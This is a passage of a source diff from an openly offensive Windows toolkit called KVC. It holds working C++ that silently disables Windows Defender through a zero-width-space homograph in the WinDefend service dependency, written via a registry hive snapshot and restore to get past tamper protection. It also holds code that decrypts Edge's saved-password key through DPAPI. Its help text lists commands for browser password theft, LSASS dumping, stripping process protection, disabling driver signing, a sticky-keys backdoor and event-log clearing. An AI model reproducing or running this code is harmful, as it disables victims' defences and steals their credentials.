bool DefenderManager::EnableSecurityEngine() noexcept
{
std::wcout << L"Enabling Windows Security Engine...\n";
return ModifySecurityEngine(true);
}
// Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
{
try {
HKEY key;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, WINDEFEND_KEY, 0, KEY_READ, &key) != ERROR_SUCCESS) {
return SecurityState::UNKNOWN;
}
auto values = ReadMultiString(key, DEPEND_VALUE);
RegCloseKey(key);
if (values.empty()) return SecurityState::UNKNOWN;
// Check if RpcSs (active) or RpcSs\x200B (inactive) is present
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
if (hasActive) return SecurityState::ENABLED;
if (hasInactive) return SecurityState::DISABLED;
return SecurityState::UNKNOWN;
}
catch (...) {
return SecurityState::UNKNOWN;
}
}
// ============================================================================
// CORE OPERATIONS IMPLEMENTATION
// ============================================================================
// Core registry manipulation logic - creates snapshot, modifies dependencies, and restores atomically
bool DefenderManager::ModifySecurityEngine(bool enable) noexcept
{
try {
// Enable required privileges first
if (!EnableRequiredPrivileges()) {
std::wcout << L"Failed to enable required privileges - run as administrator\n";
return false;
}
// Create registry working context
RegistryContext ctx;
if (!CreateRegistrySnapshot(ctx)) {
std::wcout << L"Failed to create registry snapshot\n";
return false;
}
// Modify defender dependencies
if (!ModifyDefenderDependencies(ctx, enable)) {
std::wcout << L"Failed to modify Defender dependencies\n";
return false;
}
// Restore modified registry
if (!RestoreRegistrySnapshot(ctx)) {
std::wcout << L"Failed to restore registry snapshot\n";
return false;
}
std::wcout << L"Security engine " << (enable ? L"enabled" : L"disabled") << L" successfully\n";
std::wcout << L"System restart required to apply changes\n";
return true;
}
catch (...) {
std::wcout << L"Exception in ModifySecurityEngine\n";
return false;
}
}
// Creates temporary registry snapshot by saving Services hive to temp file and loading as HKLM\Temp
bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
{
ctx.tempPath = ::GetSystemTempPath();
if (ctx.tempPath.empty()) {
std::wcout << L"Failed to get system temp path\n";
return false;
}
// Ensure temp directory exists and is writable
if (!PathUtils::ValidateDirectoryWritable(ctx.tempPath)) {
std::wcout << L"Cannot write to temp directory: " << ctx.tempPath << L"\n";
return false;
}
ctx.hiveFile = ctx.tempPath + L"Services.hiv";
// Clean up any existing hive file
if (fs::exists(ctx.hiveFile) && !DeleteFileW(ctx.hiveFile.c_str())) {
std::wcout << L"Failed to delete existing hive file\n";
return false;
}
// Unload any existing temp registry hive
HKEY tempCheck;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp", 0, KEY_READ, &tempCheck) == ERROR_SUCCESS) {
RegCloseKey(tempCheck);
RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp");
}
// Save current services registry hive
HKEY servicesKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, SERVICES_KEY, 0, KEY_READ, &servicesKey) != ERROR_SUCCESS) {
std::wcout << L"Failed to open Services registry key\n";
return false;
}
LONG result = RegSaveKeyExW(servicesKey, ctx.hiveFile.c_str(), nullptr, REG_LATEST_FORMAT);
RegCloseKey(servicesKey);
if (result != ERROR_SUCCESS) {
std::wcout << L"Failed to save registry hive: " << result << L"\n";
return false;
}
// Load saved hive as temporary key
if (RegLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp", ctx.hiveFile.c_str()) != ERROR_SUCCESS) {
std::wcout << L"Failed to load registry hive as temp key\n";
return false;
}
return true;
}
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
{
HKEY tempKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp\\WinDefend", 0, KEY_READ | KEY_WRITE, &tempKey) != ERROR_SUCCESS) {
std::wcout << L"Failed to open temporary WinDefend key\n";
return false;
}
auto values = ReadMultiString(tempKey, DEPEND_VALUE);
if (values.empty()) {
std::wcout << L"No DependOnService values found\n";
RegCloseKey(tempKey);
return false;
}
// Transform RPC service dependency
for (auto& value : values) {
if (enable && value == RPC_SERVICE_INACTIVE) {
value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable)
}
else if (!enable && value == RPC_SERVICE_ACTIVE) {
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable)
}
}
bool success = WriteMultiString(tempKey, DEPEND_VALUE, values);
RegCloseKey(tempKey);
if (!success) {
std::wcout << L"Failed to write modified dependency values\n";
return false;
}
return true;
}
// Restores modified registry snapshot to live system by unloading temp hive and forcing restore
bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept
{
// Unload temporary registry hive
if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp") != ERROR_SUCCESS) {
std::wcout << L"Warning: Failed to unload temporary registry hive\n";
}
// Restore modified hive to live registry
HKEY servicesKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, SERVICES_KEY, 0, KEY_WRITE, &servicesKey) != ERROR_SUCCESS) {
std::wcout << L"Failed to open Services key for restore\n";
return false;
}
LONG result = RegRestoreKeyW(servicesKey, ctx.hiveFile.c_str(), REG_FORCE_RESTORE);
RegCloseKey(servicesKey);
if (result != ERROR_SUCCESS) {
std::wcout << L"Failed to restore modified registry hive: " << result << L"\n";
return false;
}
return true;
}
// ============================================================================
// PRIVILEGE MANAGEMENT IMPLEMENTATION
// ============================================================================
// Enables SE_BACKUP_NAME, SE_RESTORE_NAME and SE_LOAD_DRIVER_NAME privileges required for registry operations
bool DefenderManager::EnableRequiredPrivileges() noexcept
{
return PrivilegeUtils::EnablePrivilege(SE_BACKUP_NAME) &&
PrivilegeUtils::EnablePrivilege(SE_RESTORE_NAME) &&
PrivilegeUtils::EnablePrivilege(SE_LOAD_DRIVER_NAME);
}
// ============================================================================
// HELPER UTILITIES IMPLEMENTATION
// ============================================================================
// Reads REG_MULTI_SZ registry value as string vector by parsing null-terminated strings
vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept
{
DWORD type, size;
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
type != REG_MULTI_SZ) {
return {};
}
vector<wchar_t> buffer(size / sizeof(wchar_t));
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type,
reinterpret_cast<BYTE*>(buffer.data()), &size) != ERROR_SUCCESS) {
return {};
}
vector<wstring> result;
const wchar_t* current = buffer.data();
while (*current != L'\0') {
result.emplace_back(current);
current += result.back().size() + 1;
}
return result;
}
// Writes string vector to REG_MULTI_SZ registry value with proper double null terminator
bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
const vector<wstring>& values) noexcept
{
vector<wchar_t> buffer;
for (const auto& str : values) {
buffer.insert(buffer.end(), str.begin(), str.end());
buffer.push_back(L'\0');
}
buffer.push_back(L'\0'); // Double null terminator
return RegSetValueExW(key, valueName.c_str(), 0, REG_MULTI_SZ,
reinterpret_cast<const BYTE*>(buffer.data()),
static_cast<DWORD>(buffer.size() * sizeof(wchar_t))) == ERROR_SUCCESS;
}
// ============================================================================
// REGISTRY CONTEXT CLEANUP IMPLEMENTATION
// ============================================================================
// Cleans up temporary registry files including hive, transaction logs and regtrans-ms files
void DefenderManager::RegistryContext::Cleanup() noexcept
{
if (hiveFile.empty()) return;
// Standard cleanup patterns
vector<wstring> patterns = {
hiveFile,
hiveFile + L".LOG1",
hiveFile + L".LOG2",
hiveFile + L".blf"
};
for (const auto& file : patterns) {
DeleteFileW(file.c_str());
}
// Clean transaction files
try {
for (const auto& entry : fs::directory_iterator(tempPath)) {
if (entry.path().extension() == L".regtrans-ms") {
DeleteFileW(entry.path().c_str());
}
}
}
catch (...) {
// Ignore cleanup errors
}
}

75
kvc/DefenderManager.h Normal file
View File

@@ -0,0 +1,75 @@
// DefenderManager.h
// Windows Defender security engine control via registry operations (privileged, restart required)
#pragma once
#include <windows.h>
#include <string>
#include <vector>
#include <memory>
// Manage Windows Defender by swapping service dependencies in the registry (requires privileges, restart)
class DefenderManager {
public:
// Security engine state based on WinDefend service dependency
enum class SecurityState {
ENABLED, // Defender engine active (RpcSs)
DISABLED, // Defender engine inactive (RpcSs\x200B)
UNKNOWN // State could not be determined
};
// Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart)
static bool DisableSecurityEngine() noexcept;
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
static bool EnableSecurityEngine() noexcept;
// Query current Defender state by reading service dependency (read-only, safe)
static SecurityState GetSecurityEngineStatus() noexcept;
private:
// Temporary registry snapshot context for atomic service-hive modifications
struct RegistryContext {
std::wstring tempPath; // Temp directory for hive files
std::wstring hiveFile; // Saved Services hive path
RegistryContext() = default;
~RegistryContext() { Cleanup(); } // Auto-cleanup of temp files
RegistryContext(const RegistryContext&) = delete;
RegistryContext& operator=(const RegistryContext&) = delete;
RegistryContext(RegistryContext&&) = default;
RegistryContext& operator=(RegistryContext&&) = default;
// Remove temporary hive and transaction files (idempotent, handles locks)
void Cleanup() noexcept;
};
// Core modify workflow (enable==true to enable engine, false to disable) using snapshot/restore
static bool ModifySecurityEngine(bool enable) noexcept;
// Enable required privileges: SE_BACKUP_NAME, SE_RESTORE_NAME, SE_LOAD_DRIVER_NAME
static bool EnableRequiredPrivileges() noexcept;
// Create temporary Services hive snapshot and load it under HKLM\Temp
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
// Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
// Unload temp hive and restore modified snapshot to live Services key (critical operation)
static bool RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept;
// Read REG_MULTI_SZ into vector; returns empty vector on error or missing value
static std::vector<std::wstring> ReadMultiString(HKEY key, const std::wstring& valueName) noexcept;
// Write vector as REG_MULTI_SZ (handles empty/single entries and double-null terminator)
static bool WriteMultiString(HKEY key, const std::wstring& valueName, const std::vector<std::wstring>& values) noexcept;
// Registry constants
static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend";
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B";
};

74
kvc/EdgeDPAPI.cpp Normal file
View File

@@ -0,0 +1,74 @@
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
// Implements orchestrator-side password key extraction using Windows DPAPI
#include "EdgeDPAPI.h"
#include <Wincrypt.h>
#include <fstream>
#pragma comment(lib, "Crypt32.lib")
namespace
{
// Decodes Base64 string into binary data using Windows Crypto API
std::vector<uint8_t> Base64DecodeSimple(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return {};
std::vector<uint8_t> data(size);
CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr);
return data;
}
}
// Extracts and decrypts Edge password encryption key from Local State file
// Uses Windows DPAPI to decrypt the key in the orchestrator's security context
// This avoids needing COM elevation for Edge passwords specifically
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
return {};
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
// Locate encrypted_key field in JSON
std::string tag = "\"encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos)
return {};
size_t end = content.find('"', pos + tag.length());
if (end == std::string::npos)
return {};
// Decode Base64 encrypted key
std::vector<uint8_t> decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length()));
if (decoded.size() < 5)
return {};
// Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49)
if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 &&
decoded[3] == 0x50 && decoded[4] == 0x49)
{
decoded.erase(decoded.begin(), decoded.begin() + 5);
}
// Verify DPAPI blob header (0x01 0x00 0x00 0x00)
if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 ||
decoded[2] != 0x00 || decoded[3] != 0x00)
return {};
// Decrypt using Windows DPAPI
DATA_BLOB inputBlob = { static_cast<DWORD>(decoded.size()), decoded.data() };
DATA_BLOB outputBlob = {};
if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob))
return {};
std::vector<uint8_t> result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
LocalFree(outputBlob.pbData);
console.Success("Edge DPAPI password key extracted successfully");
return result;
}

17
kvc/EdgeDPAPI.h Normal file
View File

@@ -0,0 +1,17 @@
// EdgeDPAPI.h - DPAPI operations for Edge password key extraction
#ifndef EDGE_DPAPI_H
#define EDGE_DPAPI_H
#include <Windows.h>
#include <vector>
#include <filesystem>
#include "CommunicationLayer.h"
namespace fs = std::filesystem;
// Extracts and decrypts Edge password encryption key using Windows DPAPI
// This function runs in the orchestrator's context, avoiding the need for
// COM elevation specifically for Edge password decryption
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console);
#endif // EDGE_DPAPI_H

View File

@@ -1,33 +1,10 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include <windows.h>
#include "HelpSystem.h"
#include <iostream>
#include <iomanip>
extern "C" void ScreenShake(int intensity, int shakes);
void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
{
PrintHeader();
@@ -35,12 +12,18 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
std::wcout << L"Usage: " << programName << L" <command> [arguments]\n\n";
PrintServiceCommands();
PrintBasicCommands();
PrintDSECommands();
PrintBasicCommands();
PrintProcessTerminationCommands();
PrintProtectionCommands();
PrintSessionManagement();
PrintSystemCommands();
PrintBrowserCommands();
PrintRegistryCommands();
PrintBrowserCommands();
PrintDefenderCommands();
PrintDPAPICommands();
PrintSecurityEngineCommands();
PrintDPAPICommands();
PrintWatermarkCommands();
PrintProtectionTypes();
PrintExclusionTypes();
PrintPatternMatching();
@@ -62,12 +45,12 @@ void HelpSystem::PrintHeader() noexcept
const int width = 80;
// Blue header border
// Blue header border for visual appeal
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"\n";
std::wcout << L"================================================================================\n";
// Centered text printing with white color
// Centered text printing with white color for readability
auto printCentered = [&](const std::wstring& text) {
int textLen = static_cast<int>(text.length());
int padding = (width - textLen) / 2;
@@ -93,7 +76,7 @@ void HelpSystem::PrintHeader() noexcept
void HelpSystem::PrintServiceCommands() noexcept
{
PrintSectionHeader(L"Service Management Commands (Advanced Scenarios)");
PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat");
PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat");
PrintCommandLine(L"install", L"Install as NT service with TrustedInstaller privileges");
PrintCommandLine(L"uninstall", L"Uninstall NT service");
PrintCommandLine(L"service start", L"Start the Kernel Vulnerability Capabilities Framework service");
@@ -102,6 +85,18 @@ void HelpSystem::PrintServiceCommands() noexcept
std::wcout << L"\n";
}
void HelpSystem::PrintDSECommands() noexcept
{
PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
PrintCommandLine(L"dse off", L"Disable DSE (auto-handles HVCI with reboot if needed)");
PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security");
PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)");
PrintNote(L"Requires kernel driver session with elevated privileges");
PrintNote(L"HVCI systems: No files will be modified, replaced, or deleted");
PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk");
std::wcout << L"\n";
}
void HelpSystem::PrintBasicCommands() noexcept
{
PrintSectionHeader(L"Memory Dumping Commands");
@@ -117,14 +112,32 @@ void HelpSystem::PrintBasicCommands() noexcept
std::wcout << L"\n";
}
void HelpSystem::PrintProcessTerminationCommands() noexcept
{
PrintSectionHeader(L"Process Termination Commands");
PrintCommandLine(L"kill <PID|process_name>", L"Terminate process with automatic protection elevation");
PrintCommandLine(L"kill <PID1,PID2,name3>", L"Terminate multiple processes (comma-separated)");
PrintNote(L"Supports process names: 'kill total' terminates Total Commander");
PrintNote(L"Automatically matches target protection level for protected processes");
PrintNote(L"Case-insensitive partial matching: 'notepad' matches 'notepad.exe'");
std::wcout << L"\n";
}
void HelpSystem::PrintProtectionCommands() noexcept
{
PrintSectionHeader(L"Process Protection Commands");
PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
PrintCommandLine(L"unprotect <PID|process_name>", L"Remove protection from specific process");
PrintCommandLine(L"unprotect <PID|process_name|SIGNER>", L"Remove protection from process(es)");
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
PrintCommandLine(L"set-signer <SIGNER> <PP|PPL> <NEW_SIGNER>", L"Batch modify protection for all processes of specific signer");
PrintCommandLine(L"list-signer <SIGNER>", L"List all processes with specific signer");
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
PrintCommandLine(L"restore all", L"Restore all saved protection states");
PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
PrintNote(L"SIGNER can be: Antimalware, WinTcb, Windows, Lsa, WinSystem, etc.");
std::wcout << L"\n";
}
@@ -135,7 +148,20 @@ void HelpSystem::PrintSystemCommands() noexcept
PrintCommandLine(L"unshift", L"Remove sticky keys backdoor");
PrintCommandLine(L"trusted <command>", L"Run command with elevated system privileges");
PrintCommandLine(L"install-context", L"Add context menu entries for right-click access");
PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)");
PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)");
std::wcout << L"\n";
}
void HelpSystem::PrintRegistryCommands() noexcept
{
PrintSectionHeader(L"Registry Backup & Defragmentation");
PrintCommandLine(L"registry backup", L"Backup all registry hives to Downloads");
PrintCommandLine(L"registry backup C:\\backup", L"Backup to custom directory");
PrintCommandLine(L"registry restore C:\\backup", L"Restore hives from backup");
PrintCommandLine(L"registry defrag", L"Defragment registry (backup+compact)");
PrintNote(L"Backs up: BCD, SAM, SECURITY, SOFTWARE, SYSTEM, NTUSER, etc.");
PrintNote(L"Default path: Downloads\\Registry_Backup_YYYYMMDD_HHMMSS");
PrintNote(L"Defrag compacts hives through RegSaveKeyEx (no fragmentation)");
std::wcout << L"\n";
}
@@ -152,6 +178,47 @@ void HelpSystem::PrintDefenderCommands() noexcept
std::wcout << L"\n";
}
void HelpSystem::PrintSecurityEngineCommands() noexcept
{
PrintSectionHeader(L"Security Engine Management");
PrintCommandLine(L"secengine disable", L"Disable Windows Defender security engine");
PrintCommandLine(L"secengine enable", L"Enable Windows Defender security engine");
PrintCommandLine(L"secengine status", L"Check current security engine status");
PrintCommandLine(L"secengine disable --restart", L"Disable and restart system immediately");
PrintCommandLine(L"secengine enable --restart", L"Enable and restart system immediately");
PrintNote(L"Registry-level manipulation - bypasses tamper protection");
PrintNote(L"System restart required for changes to take effect");
std::wcout << L"\n";
}
void HelpSystem::PrintSessionManagement() noexcept
{
PrintSectionHeader(L"Session Management System");
std::wcout << L" - Automatic boot detection and session tracking (max 16 sessions)\n";
std::wcout << L" - Each 'unprotect' operation saves process states grouped by signer\n";
std::wcout << L" - 'restore' commands reapply protection from saved session state\n";
std::wcout << L" - Session history persists across reboots until limit reached\n";
std::wcout << L" - Oldest sessions auto-deleted when exceeding 16 session limit\n";
std::wcout << L" - Manual cleanup available via 'cleanup-sessions' command\n";
std::wcout << L" - Status tracking: UNPROTECTED (after unprotect) -> RESTORED (after restore)\n\n";
}
void HelpSystem::PrintBrowserCommands() noexcept
{
PrintSectionHeader(L"Browser Password Extraction Commands");
PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)");
PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly");
PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords");
PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords");
PrintCommandLine(L"bp --all", L"Extract from all installed browsers");
PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory");
PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path");
PrintNote(L"Requires kvc_pass.exe for Chrome/Brave/All");
PrintNote(L"Edge with kvc_pass: JSON + cookies + HTML/TXT reports (full extraction)");
PrintNote(L"Edge without kvc_pass: HTML/TXT reports only (built-in DPAPI fallback)");
std::wcout << L"\n";
}
void HelpSystem::PrintDPAPICommands() noexcept
{
PrintSectionHeader(L"DPAPI Secrets Extraction Commands");
@@ -161,6 +228,17 @@ void HelpSystem::PrintDPAPICommands() noexcept
std::wcout << L"\n";
}
void HelpSystem::PrintWatermarkCommands() noexcept
{
PrintSectionHeader(L"Watermark Management");
PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)");
PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)");
PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)");
PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection");
PrintNote(L"Requires Administrator privileges and TrustedInstaller access");
std::wcout << L"\n";
}
void HelpSystem::PrintProtectionTypes() noexcept
{
PrintSectionHeader(L"Protection Types");
@@ -258,39 +336,100 @@ void HelpSystem::PrintUndumpableProcesses() noexcept
void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
{
PrintSectionHeader(L"Usage Examples");
const int commandWidth = 50;
auto printLine = [&](const std::wstring& command, const std::wstring& description) {
const int commandWidth = 60;
auto printLine = [commandWidth](const std::wstring& command, const std::wstring& description) {
std::wcout << L" " << std::left << std::setw(commandWidth)
<< (std::wstring(programName) + L" " + command)
<< L"# " << description << L"\n";
<< command << L"# " << description << L"\n";
};
printLine(L"shift", L"Install sticky keys backdoor");
printLine(L"unshift", L"Remove sticky keys backdoor");
printLine(L"install", L"Install as NT service (advanced)");
printLine(L"service start", L"Start the service");
printLine(L"uninstall", L"Remove service");
printLine(L"dump lsass C:\\dumps", L"Dump LSASS to specific folder");
printLine(L"dump 1044", L"Dump PID 1044 to Downloads folder");
printLine(L"list", L"Show all protected processes");
printLine(L"info lsass", L"Detailed info with dumpability analysis");
printLine(L"protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware");
printLine(L"set 5678 PP Windows", L"Force set PP-Windows protection");
printLine(L"unprotect lsass", L"Remove protection from LSASS");
printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
printLine(L"trusted cmd", L"Run command as TrustedInstaller");
printLine(L"trusted \"C:\\app.exe\" --arg", L"Run application with arguments");
printLine(L"install-context", L"Add right-click menu entries");
printLine(L"add-exclusion", L"Add current program to exclusions");
printLine(L"add-exclusion C:\\malware.exe", L"Add specific file to exclusions");
printLine(L"add-exclusion Paths C:\\temp", L"Add folder to path exclusions");
printLine(L"add-exclusion Processes cmd.exe", L"Add process to exclusions");
printLine(L"add-exclusion Extensions .tmp", L"Add extension to exclusions");
printLine(L"add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions");
printLine(L"remove-exclusion Processes cmd.exe", L"Remove process exclusion");
printLine(L"export secrets", L"Export secrets to Downloads folder");
printLine(L"export secrets C:\\reports", L"Export secrets to specific folder");
// Process inspection and monitoring
printLine(L"kvc list", L"Show all protected processes");
printLine(L"kvc info lsass", L"Detailed info with dumpability analysis");
// Process protection management
printLine(L"kvc protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware");
printLine(L"kvc set 5678 PP Windows", L"Force set PP-Windows protection");
printLine(L"kvc unprotect lsass", L"Remove protection from LSASS");
printLine(L"kvc unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
printLine(L"kvc unprotect Antimalware", L"Remove protection from all Antimalware processes");
printLine(L"kvc unprotect all", L"Remove protection from ALL processes (grouped by signer)");
printLine(L"kvc set-signer Antimalware PPL WinTcb", L"Change all Antimalware processes to PPL-WinTcb");
printLine(L"kvc set-signer Windows PP Antimalware", L"Escalate all Windows processes to PP-Antimalware");
// Session state management
printLine(L"kvc history", L"Show saved sessions (max 16, with status tracking)");
printLine(L"kvc restore Antimalware", L"Restore protection for Antimalware group");
printLine(L"kvc restore all", L"Restore all saved protection states from current session");
printLine(L"kvc cleanup-sessions", L"Delete all old sessions (keep only current)");
// Process termination
printLine(L"kvc kill 1234", L"Terminate process with PID 1234");
printLine(L"kvc kill total", L"Terminate Total Commander by name");
printLine(L"kvc kill 1234,5678,9012", L"Terminate multiple processes");
printLine(L"kvc kill lsass", L"Terminate protected process (auto-elevation)");
// Memory dumping
printLine(L"kvc dump lsass C:\\dumps", L"Dump LSASS to specific folder");
printLine(L"kvc dump 1044", L"Dump PID 1044 to Downloads folder");
// Service installation and management
printLine(L"kvc install", L"Install as NT service (advanced)");
printLine(L"kvc service start", L"Start the service");
printLine(L"kvc uninstall", L"Remove service");
// Driver Signature Enforcement control
printLine(L"kvc dse off", L"Disable DSE to load unsigned drivers");
printLine(L"kvc dse on", L"Re-enable DSE for system security");
printLine(L"kvc dse", L"Check current DSE status");
// Watermark management
printLine(L"kvc wm status", L"Check if watermark is removed or active");
printLine(L"kvc wm remove", L"Remove Windows desktop watermark");
printLine(L"kvc wm restore", L"Restore original Windows watermark");
printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')");
// System backdoors
printLine(L"kvc shift", L"Install sticky keys backdoor");
printLine(L"kvc unshift", L"Remove sticky keys backdoor");
// TrustedInstaller elevation
printLine(L"kvc trusted cmd", L"Run command as TrustedInstaller");
printLine(L"kvc trusted \"C:\\app.exe\" --arg", L"Run application with arguments");
printLine(L"kvc install-context", L"Add right-click menu entries");
// Windows Defender exclusions
printLine(L"kvc add-exclusion", L"Add current program to exclusions");
printLine(L"kvc add-exclusion C:\\malware.exe", L"Add specific file to exclusions");
printLine(L"kvc add-exclusion Paths C:\\temp", L"Add folder to path exclusions");
printLine(L"kvc add-exclusion Processes cmd.exe", L"Add process to exclusions");
printLine(L"kvc add-exclusion Extensions .tmp", L"Add extension to exclusions");
printLine(L"kvc add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions");
printLine(L"kvc remove-exclusion Processes cmd.exe", L"Remove process exclusion");
// Security engine control
printLine(L"kvc secengine status", L"Check Windows Defender status");
printLine(L"kvc secengine disable", L"Disable Windows Defender engine");
printLine(L"kvc secengine enable", L"Re-enable Windows Defender engine");
printLine(L"kvc secengine disable --restart", L"Disable Defender and restart system");
printLine(L"kvc secengine enable --restart", L"Enable Defender and restart system");
// Credential extraction
printLine(L"kvc export secrets", L"Export secrets to Downloads folder");
printLine(L"kvc export secrets C:\\reports", L"Export secrets to specific folder");
// Registry operations
printLine(L"kvc registry backup", L"Backup all hives to Downloads");
printLine(L"kvc registry backup C:\\backup", L"Backup to custom directory");
printLine(L"kvc registry restore C:\\backup\\Registry_Backup_*", L"Restore from backup");
printLine(L"kvc registry defrag", L"Defragment registry (backup+restore)");
// Browser password extraction
printLine(L"kvc bp --edge", L"Edge only (works standalone, no kvc_pass needed)");
printLine(L"kvc bp --all", L"Extract all browsers (requires kvc_pass.exe)");
printLine(L"kvc bp --edge -o C:\\passwords", L"Edge with custom output directory");
std::wcout << L"\n";
}
@@ -298,7 +437,7 @@ void HelpSystem::PrintSecurityNotice() noexcept
{
PrintSectionHeader(L"SECURITY & LEGAL NOTICE");
// Critical warning section with red highlighting
// Critical warning section with red highlighting for maximum visibility
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
@@ -323,7 +462,7 @@ void HelpSystem::PrintSecurityNotice() noexcept
std::wcout << L" - Administrator privileges required for all security operations\n";
std::wcout << L" - Most operations leave no permanent traces except when explicitly requested\n";
std::wcout << L" - Some commands (shift, install, add-exclusion) make persistent changes\n";
std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n";
